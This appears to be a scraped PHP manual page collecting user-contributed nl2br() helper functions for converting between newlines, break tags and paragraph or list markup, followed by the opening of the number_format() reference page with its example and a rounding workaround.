I was converting text to simple HTML, and converting HTML to plain text. I needed an easy function to convert line breaks, no matter if they were characters or tags, into whatever line break I required at the time. This function worked pretty well. It detects double line breaks and preserves them, as long as the line breaks are in the same format i.e. \r\n \r\n or <br> <br>. It will not preserve a double line break such as <br>\n, instead, it treats this as a single line break for obvious reasons.

The following are recognized as single line breaks, and are replaced using this function:
    \r, \n, \r\n, <BR>, <br>, <br/>, <br />, and any combination of a single tag with any quantity of \r, \n, \r\n following it.

convert_line_breaks.php
<?php
/**
 * Converts newlines and break tags to an
 * arbitrary string selected by the user,
 * defaults to PHP_EOL.
 *
 * In the case where a break tag is followed by
 * any amount of whitespace, including \r and \n,
 * the tag and the whitespace will be converted
 * to a single instance of the line break argument.
 *
 * @author Matthew Kastor
 * @param string $string
 *   string in which newlines and break tags will be replaced
 * @param string $line_break
 *   replacement string for newlines and break tags
 * @return string
 *   Returns the original string with newlines and break tags
 *   converted
 */
function convert_line_breaks($string, $line_break=PHP_EOL) {
    $patterns = array(
                        "/(<br>|<br \/>|<br\/>)\s*/i",
                        "/(\r\n|\r|\n)/"
    );
    $replacements = array(
                            PHP_EOL,
                            $line_break
    );
    $string = preg_replace($patterns, $replacements, $string);
    return $string;
}
?>
mail at fort-hub dot com 18-Feb-2011 03:54
I noticed that I am using an earlier version of PHP which does not recognise the $xhtml parameter in nl2br(), therefore I am stuck with xhtml line breaks, which I do not want. Thus I made the following simple function:

<?php

    function NlToBr($inString)
    {
        return preg_replace("%\n%", "<br>", $inString);
    }

?>
dejan dot marjanovic at gmail dot com 26-Sep-2010 10:53
Hi, I wrote this function to prevent double lines when doing nl2br with pre tag in HTML. Hope it helps someone.

<?php
function my_nl2br($string){
    $string = str_replace("\n", "<br />", $string);
    if(preg_match_all('/\<pre\>(.*?)\<\/pre\>/', $string, $match)){
        foreach($match as $a){
            foreach($a as $b){
            $string = str_replace('<pre>'.$b.'</pre>', "<pre>".str_replace("<br />", "", $b)."</pre>", $string);
            }
        }
    }
return $string;
}
?>

Source: http://webarto.com/59/php-nl2br-pre
Joshua Anderson 11-Jun-2010 09:40
This function will change new lines (line breaks) to <br/> and it allows you to limit the amount of brs allowed at any point in time.

This function was made to avoid people spaming a textarea with hundreds of line breaks or empty lines.

<?php
function nl2br_limit($string, $num){

$dirty = preg_replace('/\r/', '', $string);
$clean = preg_replace('/\n{4,}/', str_repeat('<br/>', $num), preg_replace('/\r/', '', $dirty));

return nl2br($clean);
}

echo nl2br_limit($string,'4');
?>

// Heres how it works //

nl2br_limit($string, $num)
// $string is the entered text you want to strip lines out of, it could be ($_POST['myinput'])
// $num is the amount of consecutive <br/>'s that are allowed any at a time.

The user is allowed to enter as many line breaks as $num allows
Jose Canciani 18-May-2010 08:57
Recursive solution to avoid replacing newlines inside <pre> tags:

<?php
    function findOpenPre($line) {
        $start = strpos($line,'<pre');
        if ($start === false) {
            return nl2br($line);
        } else {
            return nl2br(substr($line,0,$start-1)).findClosePre(substr($line,$start));
        }
    }

    function findClosePre($line) {
        $start = strpos($line,'</pre>');
        if ($start === false) {
            return $line.'</pre>'; # should never come here
        } else {
            return substr($line,0,$start+6).findOpenPre(substr($line,$start+7));
        }
    }

    echo findOpenPre('hello '.chr(10).'<pre> world'.chr(10).'</pre>');
?>

will return "hello <br><pre> world\n</pre>"
instead of "hello <br><pre> world<br></pre>"

Jose.
gx 03-May-2010 09:02
*Strictly* reverts PHP's nl2br() effects (whether it was used in XHTML mode or not):

<?php
function nl2br_revert($string) {
    return preg_replace('`<br(?: /)?>([\\n\\r])`', '$1', $string);
}
?>

Indeed, in a string which was just nl2br'd:
- a BR added by PHP is directly followed by a \n or a \r character, and vice versa
- a PHP-added BR is either "<br />" or "<br>" (no need to match "<br/>", "<br   />", "<BR>"...)
Thus this function only removes PHP-added BRs (which "strictly reverts" meant).

The following would be even more logical, as nl2br() doesn't use both BR forms at once:
<?php
function nl2br_revert_bis($string) {
    $br = preg_match('`<br>[\\n\\r]`',$string) ? '<br>' : '<br />';
    return preg_replace('`'.$br.'([\\n\\r])`', '$1', $string);
}
?>

If you don't want to use regular expressions, here are "plain" alternatives:
<?php
function nl2br_revert_noregex($string) {
    // watch for order in arrays
    // (the first 2 elements are for the case nl2br() was used in old HTML mode)
    return str_replace(
        array("<br>\n",   "<br>\r",   "<br />\n", "<br />\r"),
        array("<br />\n", "<br />\r",       "\n",       "\r"),
        $string
    );
}

function nl2br_revert_bis_noregex($string) {
    $br = (strpos($string,"<br>\n")!==false || strpos($string,"<br>\r")!==false) ? '<br>' : '<br />';
    return str_replace(
        array($br."\n", $br."\r"),
        array(    "\n",     "\r"),
        $string
    );
}
?>
james bandit.co dot nz 29-Apr-2010 11:13
convert multiple new lines to p tags with an optional class assigned to the p tags

<?php
    function nl2p($string, $class='') {
        $class_attr = ($class!='') ? ' class="'.$class.'"' : '';
        return
            '<p'.$class_attr.'>'
            .preg_replace('#(<br\s*?/?>\s*?){2,}#', '</p>'."\n".'<p'.$class_attr.'>', nl2br($string, true))
            .'</p>';
    }
?>
SebastianJu 30-Nov-2009 01:49
Another br2nl-Function. This works with text for textareas too... Other solutions here would result in \n in the textbox and no wrap.

<?php
function br2nl($string){
  $return=eregi_replace('<br[[:space:]]*/?'.
    '[[:space:]]*>',chr(13).chr(10),$string);
  return $return;
}
?>

Grüße!
Sebastian
leaf at leafo dot net 26-Jun-2009 01:02
for the <pre> tag problem, the reason why nl2br does that is because it converts all \n to <br />\n
(see the extra \n there)

an easy hack is to use strtr to replace all \n with just <br />

eg.
<?php
function mynl2br($text) {
   return strtr($text, array("\r\n" => '<br />', "\r" => '<br />', "\n" => '<br />'));
}
?>

very simple and very fast. the only disadvantage is that anyone reading your nl2br'd html will see it all on one line.
eric dot NOSPAM dot dillenseger at gmail dot com 10-Apr-2009 02:34
An addition to sean' function:
Please read http://www.php.net/manual/en/function.strpos.php and the warning about return values of strpos().

<?php
// (... snip ...)
    if(!strpos($string, "<pre>"))  // triggered if <pre> is at the beginning of the string
// (... snip ...)
        if(strpos($line, "<pre>")) // this time, not triggered if <pre> is at the beginning of the line
// (... snip ...)
?>

Avoid shortcuts and compare boolean results strictly with '==='.

BTW, <pre> elements aren't allowed inside <p> elements (xhtml strict) so one would avoid putting a <br /> element at the end of a <pre> element.

<?php
// do nl2br except when in a pre tag
function nl2brPre($string)
{
    // First, check for <pre> tag
    if(strpos($string, "<pre>") === false)
    {
        return nl2br($string);
    }

    // If there is a <pre>, we have to split by line
    // and manually replace the linebreaks with <br />
    $strArr=explode("\n", $string);
    $output="";
    $preFound=3;

    // Loop over each line
    foreach($strArr as $line)
    {    // See if the line has a <pre>. If it does, set $preFound to true
        if(strpos($line, "<pre>") === true)
        {
            $preFound=1;
        }
        elseif(strpos($line, "</pre>"))
        {
            $preFound=2;
        }

        // If we are in a pre tag, just give a \n, else a <br />
        switch($preFound) {
            case 1: // found a <pre> tag, close the <p> element
                $output .= "</p>\n" . $line . "\n";
                break;
            case 2: // found the closing </pre> tag, append a newline and open a new <p> element
                $output .= $line . "\n<p>";
                $preFound = 3; // switch to normal behaviour
                break;
            case 3: // simply append a <br /> element
                $output .= $line . "<br />";
                break;
        }
    }

    return $output;
}
?>
sean at boyercentral dot net 03-Mar-2009 07:22
Ever had a problem with using nl2br() for something like a blog post which contains anything inside of a <pre> tag? It will give you double spaces. Ugly for posting code examples. Here's my solution.

If it doesn't detect a <pre> tag inside of the $string you pass in, it uses regular ol' nl2br(). Otherwise, it explodes the string by \n, and only adds <br /> to lines that are NOT inside the <pre> tag!

This function completely avoids using RegEx and stacks. Simple, and fairly fast.

<?php
// do nl2br except when in a pre tag
function nl2brPre($string)
{
    // First, check for <pre> tag
    if(!strpos($string, "<pre>"))
    {
        return nl2br($string);
    }

    // If there is a <pre>, we have to split by line
    // and manually replace the linebreaks with <br />
    $strArr=explode("\n", $string);
    $output="";
    $preFound=false;

    // Loop over each line
    foreach($strArr as $line)
    {    // See if the line has a <pre>. If it does, set $preFound to true
        if(strpos($line, "<pre>"))
        {
            $preFound=true;
        }
        elseif(strpos($line, "</pre>"))
        {
            $preFound=false;
        }

        // If we are in a pre tag, just give a \n, else a <br />
        if($preFound)
        {
            $output .= $line . "\n";
        }
        else
        {
            $output .= $line . "<br />";
        }
    }

    return $output;
}
?>

Hope this comes in handy!
N/A 29-Oct-2008 07:41
Here's a more simple one:

<?php
/**
 * Convert BR tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl($string)
{
    return preg_replace('/\<br(\s*)?\/?\>/i', "\n", $string);
}
?>

Enjoy
rphsm at hotmail dot com 30-Apr-2008 01:56
function to replace all \n\n\n\n\n\n \r\r\r\r only one <br />

<?php
function Only1br($string)
{
    return preg_replace("/(\r\n)+|(\n|\r)+/", "<br />", $string);
}

$string = "this is \n\n\n a String with many \n\n\r\r returns!";

$string = Only1br($string);

//returns: this is <br /> a String with many <br /> returns!";
?>
blacknine313 at gmail dot com 01-Apr-2008 06:34
After a recent post at the forums on Dev Shed, I noticed that it isn't mentioned, so I will mention it.

nl2br returns pure HTML, so it should be after PHP anti-HTML functions ( such as strip_tags and htmlspecialchars ).
nacho dot exr at gmail dot com 31-Oct-2007 08:56
Simple function that converts more than one <br>,<br/>,<br />... to a <p></p>. Maybe it's useful for someone =)

<?php
function br2p($string)
{
  return preg_replace('#<p>[\n\r\s]*?</p>#m', '', '<p>'.preg_replace('#(<br\s*?/?>){2,}#m', '</p><p>', $string).'</p>');
}
?>

Useful used with nl2br:
<?php
br2p(nl2br(...));
?>
hyponiq at gmail dot com 25-Aug-2007 11:03
On the contrary, <b>mark at dreamjunky.comno-spam</b>, this function is rightfully named.  Allow me to explain.  Although it does re-add the line break, it does so in an attempt to stay standards-compliant with the W3C recommendations for code format.

According to said recommendations, a new line character must follow a line break tag.  In this situation, the new line is not removed, but a break tag is added for proper browser display where a paragraph isn't necessary or wanted.
moester at g-mail 25-Feb-2007 01:45
<?php
function nls2p($str)
{
  return str_replace('<p></p>', '', '<p>'
        . preg_replace('#([\r\n]\s*?[\r\n]){2,}#', '</p>$0<p>', $str)
        . '</p>');
}
?>

Turns two or more consecutive newlines (separated by possible white space) into a <p>...</p>.

Pass result to regular nl2br() to add <br/> to remaining nl's, eg,

<?php
echo nl2br(nls2p("Paragraph1\n\nParagraph2\n line1\n line2\n"));
?>

result:

<p>Paragraph1</p>
<p>Paragraph2<br/>
line1<br/>
line2<br/></p>
ngkongs at gmail dot com 23-Feb-2007 04:12
to replace all linebreaks to <br />
the best solution (IMO) is:

<?php
function nl2br2($string) {
$string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
return $string;
}
?>

because each OS have different ASCII chars for linebreak:
windows = \r\n
unix = \n
mac = \r

works perfect for me
fili at fili dot nl 11-Feb-2007 11:07
<?php
function p2nl ($str) {
    return preg_replace(array("/<p[^>]*>/iU","/<\/p[^>]*>/iU"),
                        array("","\n"),
                        $str);
}

$string = "0<p>1</p><p>2</p>3";
var_dump(p2nl($string));

/*
Output:

    string(6) "01
    2
    3"
*/
?>
Moore (at) Hs-Furtwangen (dot) De 18-Aug-2006 11:13
Here a litle function that might come handy one time:
It gives back a String and adds a <BR> (you can change it to <br />) to every line end. And it adds $num blanks to the front of the next line.

<?php
 function nl2brnl($text, $num)
  {
   return preg_replace("/\\r\\n|\\n|\\r/", sprintf("% -".(5+$num)."s","<BR>\\n"), $text);
  }

$a = " one\\n two\\r\\n three";

$b = nl2brnl($a, 2);

var_dump($b);

/* output will be:
string(30) " one<BR>
   two<BR>
   three"
*/

echo "  <P>\\n  ";
echo $b

/* output will be:
  <P>
   one<BR>
   two<BR>
   three
*/
?>

Is helpfull for avouding code_soup.
godfrank DOMAIN-IS msn TLD-IS com 17-May-2006 09:12
I have modified my function found in the previous post.

It now uses preg_replace() which should technically be faster than ereg_replace(). You can also specify what you want to replace "\r\n" with. If you use the function with only one parameter, it will use '<br />' by default.

<?php
function nl2brStrict($text, $replacement = '<br />')
{
    return preg_replace("((\r\n)+)", trim($replacement), $text);
}
?>
chayden at chayden dot com 10-Mar-2006 03:07
Using buzoganylaszlo at yahoo dot com simple nl2p function, I've written a more HTML compliant function to deal with line breaks ...

<?php

/* FORMATS LINE BREAKS WITH PROPER HTML TAGS */
function format_html($content)
 {
  $content = "<p>" . str_replace("\r\n", "<br/>", $content) . "";
  $content = "" . str_replace("<br/><br/>", "</p><p>", $content) . "";
  return "" . str_replace("<br/><li>", "<li>", $content) . "";
 }

?>

Here is an example of its use ...

<?php

/* CONTENT TO BE PROCCESSED */
$content = "This is a\r\nline break.\r\n\r\nAnd this is a new paragraph.";

/* USE OF format_html FUNCTION */
/* NOTE: If you want 100% proper HTML tags, you'll need to add a closing paragraph tag (</p>) as shown below. */
echo format_html("$content</p>");

?>

The above will print ...

<p>This is a
<br/>line break.

<p>And this is a paragraph.</p>
Anders Norrbring 09-Mar-2006 01:49
Seems like I was a bit too quick and left out the vital part, and I also missed to escape the slashes in the post...

<?php
function br2nl($text)
{
    return  preg_replace('/<br\\\\s*?\\/??>/i', "\\n", $text);
}
?>
Anders Norrbring 09-Mar-2006 01:28
Seeing all these suggestions on a br2nl function, I can also see that neither would work with a sloppy written html line break.. Users can't be trusted to write good code, we know that, and mixing case isn't too uncommon.

I think this little snippet would do most tricks, both XHTML style and HTML, even mixed case like <Br> <bR /> and even <br            > or <br     />.

<?php
function br2nl($text)
{
    return  preg_replace('/<br\\s*?\/??>/i', '', $text);
}
?>
tom dot crawford at emailsystems dot com 11-Jan-2006 02:32
Note to foltscane at yahoo dot com

Wouldn't it be easier to do this:

$encoded_string = nl2br( htmlentities( $string_to_encode ) );
buzoganylaszlo at yahoo dot com 05-Jan-2006 04:51
There is a simple nl2p function:

<?php
function nl2p($text) {
  return "<p>" . str_replace("\n", "</p><p>", $text) . "</p>";
}
?>
foltscane at yahoo dot com 03-Jan-2006 08:47
I was interested in changing \n to <BR> but then still having htmlentities enforced inbetween these added <BR>s. So I wrote this simple textentities which will do just that.

function textentities($s)
{
    while($sp = strpos($s,"\n"))
    {
        echo htmlentities(substr($s,0,$sp))."<BR>";
        $s = substr($s,$sp+1,strlen($s));
    }
    echo htmlentities($s);
}
btm at anfo dot pl 20-Dec-2005 03:22
Comment on emailfire at gmail dot com nl2brr. It should be:
<? return str_replace(array("\r\n", "\n", "\r"), "<br>", $text); ?>
You've forgotten the backslashes.
jonasnicklas at hotmail dot com 19-Dec-2005 02:04
Re: emailfire

The function emailfire posted is missing some backslashes, a better alternative to it is:

<?php

$foo = "This\nis a\r\ntest\rmessage";

function nl2brr($text)
{
    return preg_replace("/\r\n|\n|\r/", "<br>", $text);
}

echo nl2brr($foo);

# Output: This<br>is a<br>test<br>message

?>

I put both functions in a for-loop and surprisingly preg_replace is a lot faster, I assume this is because str_replace will search the string several times. If you know what kind of breaks (Windows/Unix) you are expecting it is obviously better to use str_replace.

A note: Internet Explorer does not have any XHTML support, even browsers that DO have XHTML support (such as Firefox or Opera) will not parse pages as XHTML unless told so via a Header (for example through php's header function, like <?php header(Content-type: application/xhtml+xml); ?>), the tag <br /> is invalid in HTML 4. Since all browsers show it correctly anyway (though according to the specification they shouldn't), you could simply not care...
silya at rfvnu dot lg dot ua 04-Dec-2005 08:02
Trouble was with file function when long tags where broken by \r\n and function strip_tags worked not correctly with every element of array. This step prepare string from file for using function file and then strip_tags. (For example, html file generated by M$ Word)

<?php
$str = file_get_contents($filename);
$str = str_replace("\r\n", "\n", $str);
$opentag = 0;
$nl = 0;
for($i = 0; $i < strlen($str); $i++)
{
   if($opentag == 1 && $str[$i] == "\n")
   {
      $str[$i] = '  ';
      continue;
   }

   if($str[$i] == '<')
      $opentag = 1;
   elseif($str[$i] == '>')
      $opentag = 0;
   else ;

}
?>
thunberg at gmail dot com 13-Sep-2005 11:15
I wrote this because I wanted users to be able to do basic layout formatting by hitting enter in a textbox but still wanted to allow HTML elements (tables, lists, etc). The problem was in order for the output to be correct with nl2br the HTML had to be "scrunched" up so newlines wouldn't be converted; the following function solved my problem so I figured I'd share.

<?php

function nl2br_skip_html($string)
{
    // remove any carriage returns (mysql)
    $string = str_replace("\r", '', $string);

    // replace any newlines that aren't preceded by a > with a <br />
    $string = preg_replace('/(?<!>)\n/', "<br />\n", $string);

    return $string;
}

?>
webmaster at cafe-clope dot net 13-Aug-2005 03:50
based on previous notes, a generalist function that works with any <tag>...</tag>, and its ^-1. (use it with "li", for example) :

<?php
function nl2any($string, $tag = 'p', $feed = '') {
  // making tags
  $start_tag = "<$tag" . ($feed ? ' '.$feed : '') . '>' ;
  $end_tag = "</$tag>" ;

  // exploding string to lines
  $lines = preg_split('`[\n\r]+`', trim($string)) ;

  // making new string
  $string = '' ;
  foreach($lines as $line)
    $string .= "$start_tag$line$end_tag\n" ;

  return $string ;
}

function any2nl($string, $tag = 'p') {
  //exploding
  preg_match_all("`<".$tag."[^>]*>(.*)</".$tag.">`Ui", $string, $results) ;
  // reimploding without tags
  return implode("\n", array_filter($results[1])) ;
}
?>

I just had a problem when trying "`<$tag[^>]*>(.*)</$tag>`Ui" regexp string, I can't figure out why.
x against capital x at x everywhere x 11-Aug-2005 05:47
Regarding last post by admin at ninthcircuit, I think:

"rather than get into nasty regular expressions" === "I don't understand regular expressions"

No offense, but please be aware that kristen's solution is much more robust.  The ninthcircuit solution will miss cases when there are differences in case (e.g., BR instead of br) and when there is more than one space between the r and the / (e.g., <br    />).

We all like robust code, don't we?
admin at ninthcircuit dot info 06-Jun-2005 02:00
As stated in the manual above, PHP's nl2br() feature only puts a "<br />" tag before each newline ("\n"). So -- if you intend to code a br2nl() function for yourselves, all you have to do is remove every occurence of "<br />" or "<br>".

Rather than get into nasty regular expressions to accomplish this, just use what PHP has built in already --  str_replace():

<?php
    /* br2nl for use with HTML forms, etc. */
    function br2nl($text)
    {
        /* Remove XHTML linebreak tags. */
        $text = str_replace("<br />","",$text);
        /* Remove HTML 4.01 linebreak tags. */
        $text = str_replace("<br>","",$text);
        /* Return the result. */
        return $text;
    }
?>

The final result from this function being called is whatever was entered before XHTML/HTML linebreaks were added.

All newlines are preserved by default, as per PHP ln2br() specification. Since the code above preserves newlines also, you can expect your data to reappear in the same way it was entered.

Hope this helps.
kristen at paristemi dot com 16-May-2005 01:12
A note to add to the br2nl. Since nl2br doesn't remove the line breaks when adding in the <br /> tags, it is necessary to strip those off before you convert all of the tags, otherwise you will get double spacing. Here is the modified function:

function br2nl($str) {
    $str = preg_replace("/(\r\n|\n|\r)/", "", $str);
    return preg_replace("=<br */?>=i", "\n", $str);
}
sebastian at no spam flashhilfe.de 10-May-2005 08:16
// Convert only <br> <br /> and <br     /> to newline

function br2nl($str) {
   return preg_replace('=<br */?>=i', "\n", $str);
}

The Script at the bottom whit '!<br.*>!iU' match tags like <break> or something.
jochem at vuilnisbak dot com 02-Apr-2005 08:43
For people trying br2nl, but getting stuck at double newlines (or at least more then needed), try this:

<?php
function br2nl($coffee) {
    $coffee = str_replace("\r\n", "\n", $coffee); // make from windows-returns, *nix-returns
    $coffee = str_replace("<br />\n", "\n", $coffee); // to retrieve it
    return $coffee;
}
?>

The first thing \r\n is replacing linebreaks made on Windows systems. I believe *nix systems only place \n (not sure about it).

Have fun.

Jochem
webKami [at] akdomains.com 01-Apr-2005 04:54
here is the CSS friendly version, called nl2li_css()

Inputs a param css_class (default ="none") and pass it as class of All <li> List Items.

<?
function nl2li_css($str,$css_class = "none",$ordered = 0, $type = "1") {

//check if its ordered or unordered list, set tag accordingly
if ($ordered)
{
    $tag="ol";
    //specify the type
    $tag_type="type=$type";
}
else
{
    $tag="ul";
    //set $type as NULL
    $tag_type=NULL;
}

// add ul / ol tag
// add tag type
// add first list item starting tag - use css class
// add last list item ending tag
$str = "<$tag $tag_type><li class=\"$css_class\">" . $str ."</li></$tag>";

//replace /n with adding two tags
// add previous list item ending tag
// add next list item starting tag - use css class
$str = str_replace("\n","</li><br />\n<li class=\"$css_class\">",$str);

//spit back the modified string
return $str;
}
?>

Suggestions welcome again :)
webkami [at] gmail dout com 30-Mar-2005 07:42
A handy function to convert new line \n seprated text into ordered or unordered list. I am calling it nl2li, suggestions welcome. Second optional parameter sets the list as ordered (1) or unordered (0 = default). Third parameter can be used to specify type of ordered list, valid inputs are "1" = default ,"a","A","i","I".

function nl2li($str,$ordered = 0, $type = "1") {

//check if its ordered or unordered list, set tag accordingly
if ($ordered)
{
    $tag="ol";
    //specify the type
    $tag_type="type=$type";
}
else
{
    $tag="ul";
    //set $type as NULL
    $tag_type=NULL;
}

// add ul / ol tag
// add tag type
// add first list item starting tag
// add last list item ending tag
$str = "<$tag $tag_type><li>" . $str ."</li></$tag>";

//replace /n with adding two tags
// add previous list item ending tag
// add next list item starting tag
$str = str_replace("\n","</li><br />\n<li>",$str);

//spit back the modified string
return $str;
}
mike at openconcept dot ca 10-Mar-2005 10:02
There are other nl2p examples above, but think this one will provide nicer html.  Also threw in a very related br2p function for all of those folks who want to strip away the <br /> tags which give their designers the blues.

   /**
    * replacement for php's nl2br tag that produces more designer friendly html
    *
    * Modified from: http://www.php-editors.com/contest/1/51-read.html
    *
    * @param string $text
    * @param string $cssClass
    * @return string
    */
    function nl2p($text, $cssClass=''){

      // Return if there are no line breaks.
      if (!strstr($text, "\n")) {
         return $text;
      }

      // Add Optional css class
      if (!empty($cssClass)) {
         $cssClass = ' class="' . $cssClass . '" ';
      }

      // put all text into <p> tags
      $text = '<p' . $cssClass . '>' . $text . '</p>';

      // replace all newline characters with paragraph
      // ending and starting tags
      $text = str_replace("\n", "</p>\n<p" . $cssClass . '>', $text);

      // remove empty paragraph tags & any cariage return characters
      $text = str_replace(array('<p' . $cssClass . '></p>', '<p></p>', "\r"), '', $text);

      return $text;

   } // end nl2p

  /**
    * expanding on the nl2p tag above to convert user contributed
    * <br />'s to <p>'s so it displays more nicely.
    *
    * @param string $text
    * @param string $cssClass
    * @return string
    */
    function br2p($text, $cssClass=''){

      if (!eregi('<br', $text)) {
         return $text;
      }

      if (!empty($cssClass)) {
         $cssClass = ' class="' . $cssClass . '" ';
      }

      // put all text into <p> tags
      $text = '<p' . $cssClass . '>' . $text . '</p>';

      // replace all break tags with paragraph
      // ending and starting tags
      $text = str_replace(array('<br>', '<br />', '<BR>', '<BR />'), "</p>\n<p" . $cssClass . '>', $text);

      // remove empty paragraph tags
      $text = str_replace(array('<p' . $cssClass . '></p>', '<p></p>', "<p>\n</p>"), '', $text);

      return $text;
}

This is all code from Back-End CMS (http://www.back-end.org), a template based gpl php/mysql cms.

Mike
freedman AT freeformit . com 03-Mar-2005 04:45
here's a modified version that allows the addition of style tags to the <p> marker

function nl2p($str,$addtag='') {
    return str_replace('<p'.$addtag.'></p>', '', '<p'.$addtag.'>' . preg_replace('#\n|\r#', '</p>$0<p'.$addtag.'>', $str) . '</p>');
}

$x = "abc\ndef"
echo nl2p($x);  // outputs <p>abc</p>\n<p>def</p>

echo nl2p($x,' style="text-align:justify"');
// outputs <p style="text-align:justify">abc</p>\n<p style="text-align:justify">def</p>
asentis at gmail dot com 23-Feb-2005 05:06
If you want to respect W3C, you can use this function :

<?php
function nl2p($str)
{
  return str_replace('<p></p>', '', '<p>' . preg_replace('#\n|\r#', '</p>$0<p>', $str) . '</p>');
}
?>

Cya :)
CGameProgrammer at gmail dot com 30-Jan-2005 05:28
It's important to remember that this function does NOT replace newlines with <br> tags. Rather, it inserts a <br> tag before each newline, but it still preserves the newlines themselves! This caused problems for me regarding a function I was writing -- I forgot the newlines were still being preserved.

If you don't want newlines, do:

<?php
$Result = str_replace( "\n", '<br />', $Text );
?>
17-Jan-2005 12:04
string nl2br_indent ( string string [, mixed indent] )

This function adds break tags before newlines as nl2br and also indents the text.
If indent is not specified, string will not be indented.

<?php

function nl2br_indent($string, $indent = 0)
{
    //remove carriage returns
    $string = str_replace("\r", '', $string);

    //convert indent to whitespaces if it is a integer.
    if (is_int($indent)) {
        //set indent to length of the string
        $indent = str_repeat(' ', (int)$indent);
    }

    //replace newlines with "<br />\n$indent"
    $string = str_replace("\n", "<br />\n".$indent, $string);
    //add  the indent to the first line too
    $string = $indent.$string;

    return $string;
}

?>

This is for example useful to indent text in html tags:

<?php

$str = 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
In massa nunc, cursus eu, tincidunt in, eleifend non, enim. In ut felis. Nunc
scelerisque ante vel risus. Nulla quis metus non elit scelerisque tincidunt.'

echo '<html>'."\n";
echo '  <p>'."\n";
echo nl2br_indent($str, 4)."\n";
echo '  </p>'."\n";
echo '</html>'."\n";

?>

will return:

<html>
  <p>
    Lorem ipsum dolor sit amet, consectetuer adipiscing elit.<br />
    In massa nunc, cursus eu, tincidunt in, eleifend non, enim. In ut felis. Nunc<br />
    scelerisque ante vel risus. Nulla quis metus non elit scelerisque tincidunt.
  </p>
</html>

- $str is indented by 4 spaces.
spertica at tiscalinet dot it 14-Jan-2005 01:23
An easy way to get HTML formatted with <br> from a ASCII text file with CR & LF:

<?php
      $string_text=file_get_contents("/path_to/file.txt"); // load text file in var
      $new_text=nl2br($string_text); // convert CR & LF in <br> in newvar
      echo $new_text; // print out HTML formatted text
      unset($string_text, $new_text); // clear all vars to unload memory
 ?>
php at keithtyler dot com 05-Nov-2004 10:58
Take extreme care with nl2br(). It is a simple replacement function -- apparently equivalent to preg_replace("\n","<br \>\n").

It should not be used on input from HTML textareas, unless all HTML tags are stripped from the input first. nl2br() does not do anything special to newlines that occur within HTML elements (such as the <a> anchor tag).

Some browsers will submit textarea data with newlines inserted at the points where the user's input wrapped to the next line. This can cause anchor links to break and other erratic appearance of HTML:

<a <br \>href=http://us2.php.net/manual/en/function.nl2br.php>PHP nl2br()</a>

or worse:

<a href="http://www.site.com/user/page with <br />spaces.html">URL with spaces</a>

A lot of people use nl2br() to allow their users to insert explicit line and paragraph breaks via newlines, and their applications will exhibit this problem when used with such browsers.
php at sharpdreams dot com 05-Apr-2004 09:52
Better br2nl function (allows for non-valid XHTML tags). I find it useful for parsing 3rd party websites to convert their screwy BR formats to \n.

<?php
function br2nl( $data ) {
    return preg_replace( '!<br.*>!iU', "\n", $data );
}
?>
greywyvern - greywyvern - com 05-Feb-2004 01:11
Just a couple adjustments to the function below.

<?php

function nl2br_pre($string, $wrap = 40) {
  $string = nl2br($string);

  preg_match_all("/<pre[^>]*?>(.|\n)*?<\/pre>/", $string, $pre1);

  for ($x = 0; $x < count($pre1[0]); $x++) {
    $pre2[$x] = preg_replace("/\s*<br[^>]*?>\s*/", "", $pre1[0][$x]);
    $pre2[$x] = preg_replace("/([^\n]{".$wrap."})(?!<\/pre>)(?!\n)/", "$1\n", $pre2[$x]);
    $pre1[0][$x] = "/".preg_quote($pre1[0][$x], "/")."/";
  }

  return preg_replace($pre1[0], $pre2, $string);
}

?>

You might ask, why not just use:
<?php $string = str_replace("\n", "<br />", $string); ?>

... and prevent double spacing that way by actually *replacing* the \n with <br />, whereas nl2br() *inserts* a <br />.

Well, the answer is, doing it that way makes all the HTML output appear on a single line!  Ugly, to say the least.  The function above will keep your HTML source output formatted the same way you input it. :)
matt at mullenweg dot com 15-Oct-2002 08:23
I put together a little function to convert multiple line breaks into XHTML paragraph tags. It also changes newlines within the psuedo-paragraphs to <br />. This should be well suited to CMS where (in my case) you don't want the client to deal with *any* HTML but you still want proper paragraphs for your pages.

USAGE: You can write your text just like I have here, using the enter key as the only formatting tool. This can probably be made more efficient and I'll keep an updated (and unmangled) version of it at
http://www.photomatt.net/scripts/autop
nl_langinfo
number_format
String Functions


Format a number with grouped thousands

nl2br
ord
String Functions
PHP Manual

number_format

(PHP 4, PHP 5)

number_format — Format a number with grouped thousands

Description

string number_format ( float $number [, int $decimals = 0 ] )
string number_format ( float $number , int $decimals = 0 , string $dec_point = '.' , string $thousands_sep = ',' )

This function accepts either one, two, or four parameters (not three):

If only one parameter is given, number will be formatted without decimals, but with a comma (",") between every group of thousands.

If two parameters are given, number will be formatted with decimals decimals with a dot (".") in front, and a comma (",") between every group of thousands.

If all four parameters are given, number will be formatted with decimals decimals, dec_point instead of a dot (".") before the decimals and thousands_sep instead of a comma (",") between every group of thousands.

Return Values

A formatted version of number.

Parameters

number

The number being formatted.

decimals

Sets the number of decimal points.

dec_point

Sets the separator for the decimal point.

thousands_sep

Sets the thousands separator.

Changelog

Version | Description
5.4.0 | This function now supports multiple bytes in dec_point and thousands_sep. Only the first byte of each separator was used in older versions.

Examples

Example #1 number_format() Example

For instance, French notation usually use two decimals, comma (',') as decimal separator, and space (' ') as thousand separator. This is achieved with this line :

<?php

$number = 1234.56;

// english notation (default)
$english_format_number = number_format($number);
// 1,235

// French notation
$nombre_format_francais = number_format($number, 2, ',', ' ');
// 1 234,56

$number = 1234.5678;

// english notation without thousands separator
$english_format_number = number_format($number, 2, '.', '');
// 1234.57

?>

See Also

  • money_format() - Formats a number as a currency string
  • sprintf() - Return a formatted string
  • printf() - Output a formatted string
  • sscanf() - Parses input from a string according to a format

User Contributed Notes

liviu andrei (bls) 18-Nov-2011 08:10
To prevent the rounding that occurs when next digit after last significant decimal is 5 (mentioned by several people below):

<?php
function fnumber_format($number, $decimals='', $sep1='', $sep2='') {

        if (($number * pow(10 , $decimals + 1) % 10 ) == 5)  //if next not significant digit is 5
            $number -= pow(10 , -($decimals+1));

        return number_format($number, $decimals, $sep1, $sep2);

}

$t=7.15;
echo $t . " | " . number_format($t, 1, '.', ',') .  " | " . fnumber_format($t, 1, '.', ',') . "\n\n";
//result is: 7.15 | 7.2 | 7.1

$t=7.3215;
echo $t . " | " . number_format($t, 3, '.', ',') .  " | " . fnumber_format($t, 3, '.', ',') . "\n\n";
//result is: 7.3215 | 7.322 | 7.321
} ?>

have fun!
